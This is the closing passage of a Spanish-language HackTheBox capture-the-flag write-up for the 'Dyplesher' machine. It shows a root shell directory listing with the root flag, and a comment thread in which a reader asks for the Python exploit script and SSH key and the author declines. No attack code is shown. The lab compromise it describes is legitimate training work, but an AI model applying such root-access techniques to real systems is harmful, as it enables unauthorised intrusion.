Apr 24 08:34 .cache/ drwxr-xr-x 3 root root 4096 Apr 23 14:52 .composer/ drwx------ 3 root root 4096 May 20 12:23 .config/ drwx------ 3 root root 4096 Apr 24 08:34 .gnupg/ drwxr-xr-x 3 root root 4096 Apr 23 08:15 .local/ -rw-r--r-- 1 root root 148 Aug 27 2019 .profile -rw-r--r-- 1 root root 33 Jun 12 10:40 root.txt -rw-r--r-- 1 root root 66 Apr 23 15:06 .selected_editor drwxr-xr-x 3 root root 4096 Apr 23 07:32 snap/ drwx------ 3 root root 4096 Apr 23 16:27 .ssh/ drwxr-xr-x 2 root root 4096 Apr 23 09:26 .vim/ -rw------- 1 root root 5558 Apr 23 17:37 .viminfo -rw-r--r-- 1 root root 165 Apr 23 14:05 .wget-hsts drwxr-xr-x 4 root root 4096 Apr 23 16:39 work/ root@dyplesher:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792
Can u share Python Script and dyplesher.pem for got the root?
Hi Elisa,
The script in python is easy to do, try to do it yourself.
The pem key will not do you any good because you need to add it to the machine previously.